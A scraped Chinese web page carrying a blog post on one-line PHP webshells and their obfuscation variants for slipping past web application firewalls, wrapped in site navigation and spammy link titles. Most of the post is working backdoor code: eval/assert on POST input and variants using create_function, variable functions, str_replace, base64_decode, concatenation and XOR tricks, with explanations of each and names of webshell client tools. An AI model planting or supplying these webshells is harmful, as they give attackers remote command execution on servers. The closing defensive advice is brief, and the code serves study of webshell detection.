当前位置: 首页 > news >正文

做网站运营需要什么证网站建设程序制作

做网站运营需要什么证,网站建设程序制作,怎么做一帘幽梦网站,seo黑帽是什么今天来和大家聊一聊,一句话木马的多种变形方式。 经常有客户的网站碰到被上传小马和大马,这里的“马”是木马的意思,可不是真实的马。 通常,攻击者利用文件上传漏洞,上传一个可执行并且能被解析的脚本文件,…

今天来和大家聊一聊,一句话木马的多种变形方式。 经常有客户的网站碰到被上传小马和大马,这里的“马”是木马的意思,可不是真实的马。
通常,攻击者利用文件上传漏洞,上传一个可执行并且能被解析的脚本文件,通过这个脚本来获得服务器端执行命令的能力,也就是我们经常听到的WebShell,而这个脚本文件就是我们常说的大马和小马。

1、都有些什么“马”?

  • 小马
    体积小,功能少,优点在于不易被发现,功能单一,常作为上传大马的跳板。
  • 大马
    体积大,功能强大,但是易被发现。
  • 一句话木马
    在小马和大马之外衍生出的另一种木马,只需短短一行代码,再结合WebShell工具(如菜刀、蚁剑、冰蝎等等)就能做到与大马能力相当的功能(执行命令行、文件上传、文件下载等功能)。

随着一句话木马的滥用,普通的一句话木马都已经逃不过waf的检测了,为了逃避waf的检测,一句话木马开始了他的变形之旅。

2、一句话木马的变形之路

【最初的一句话】
制作一句话:

<?php @eval($_POST['juminfo']);?>
<?php @assert($_POST['juminfo']);?>

【create_function函数】
脚本内容:

<?php
$fun = create_function('',$_POST['juminfo']);
$fun();
?>

把用户传递的数据生成一个函数fun(),然后再执行fun()。

【PHP变量函数】
脚本内容:

<?php
$a = "assert";
$a(@$_POST['juminfo']);
?>

第三行使用了变量函数$a,变量储存了函数名eval,便可以直接用变量替代函数名。
【PHP可变变量】
脚本内容:

<?php
$bb="assert";
$a="bb";
$$a(@$_POST['juminfo']);
?>

通过上一个语句进行的多一层变化:$$a = ( ( (a) = $ (‘bb’) = $bb = “assert”
【str_replace函数】
脚本内容:

<?php
$a=str_replace("juminfo", "", "assjuminfoert");
$a(@$_POST['juminfo']);
?>

在第三个参数中,查找第一个参数,并替换成第二个参数。这里第二个参数为空字符串,就相当于删除"juminfo"。
【base64_decode函数】
脚本内容:

<?php
$a=base64_decode("YXNzZXJ0")
$a($_POST['juminfo']);
?>

这里是base64解密函数,"YXNzZXJ0"是assert的base64加密。

【"."操作符】
脚本内容:

<?php
$a="as"."s";
$b="er"."t";
$c=$a.$b;
$c($_POST['juminfo']);
?>

【运算符变形】
脚本内容:

<?php
@$_++;
$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");
$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");
${$__}[!$_](${$___}[$_]);
?>

当我第一次看到这个脚本的时候,一头雾水,这是什么东西?
后来用echo打印出三个变量 + + 、 _++、 ++__、$___可以看到他们的值分别为1、_GET、_POST,放入最后一条语句中刚好组成一个两层的一句话木马。

<?php $_GET[0]($_POST[1])?>

只要我们将0赋值为assert就可以构成经典的一句话<?php assert($_POST[1])?>,密码是1。
在这里插入图片描述

3、总结

一句话的混淆方式还有很多很多,基于以上的变形思路还能够衍生出无数新的变种木马,为了更好地防止“被放马”的事件发生,我们应该及时对使用的安全产品进行更新,才能让“马”无处可走。

http://www.yayakq.cn/news/263441/

相关文章:

  • 网站显示wordpress旅游网站建设需求说明书
  • 网站建设与管理案例教程 柳如何申请一个网站空间
  • 水网站模板免费企业营销网站制作
  • seo 网站太小网站模板d一品资源网
  • 网站开发和运作的财务预算免费婚庆网站模板
  • 自己做公司的网站吗asp做的药店网站模板
  • 网站移动端优化的重点有哪些易营宝智能建站平台
  • 中专网站建设课程wordpress常用插件汇总 知更鸟
  • 一个平台网站开发全国知名网站建设
  • 关于做电影的网站设计wordpress文章权限
  • 蛋糕店网站源码白城百度网站建设
  • 网站开发的方法网站制作系统
  • 网站建设先进部门评选标准手表官网
  • 金融公司网站设计图在百度上做个网站需要多少钱
  • 杭州网站建设制作业务代刷平台网站怎么做
  • 哈尔滨自助板建站怎么用视频做网站登录的背景
  • 深圳宝安高端网站建设报价上海企乐网站制作公司
  • 高新区做网站电子商务网站建设的准备工作有哪些
  • 免费微网站哪个好用怎么做照片网站
  • 淄博网站制作服务企业邮箱注册需要什么
  • 做企业网站的人才国外手机网站模板
  • 如何自建网站卖产品建设网站用户名是什么原因
  • 网站备案什么注销wordpress弹窗视频播放插件
  • 建设信用卡在网站挂失块吗天津首页
  • 政务网站建设经验做法网站服务器速度慢
  • 查建设标准网站c php做网站对比
  • 校园网站规划与建设心得wordpress 在线 主题
  • 荆州松滋网站建设政务网站建设存在的问题
  • 电子商务网站建设教学计划docker 安装wordpress
  • 校园资源共享网站建设做酒类直供网站行吗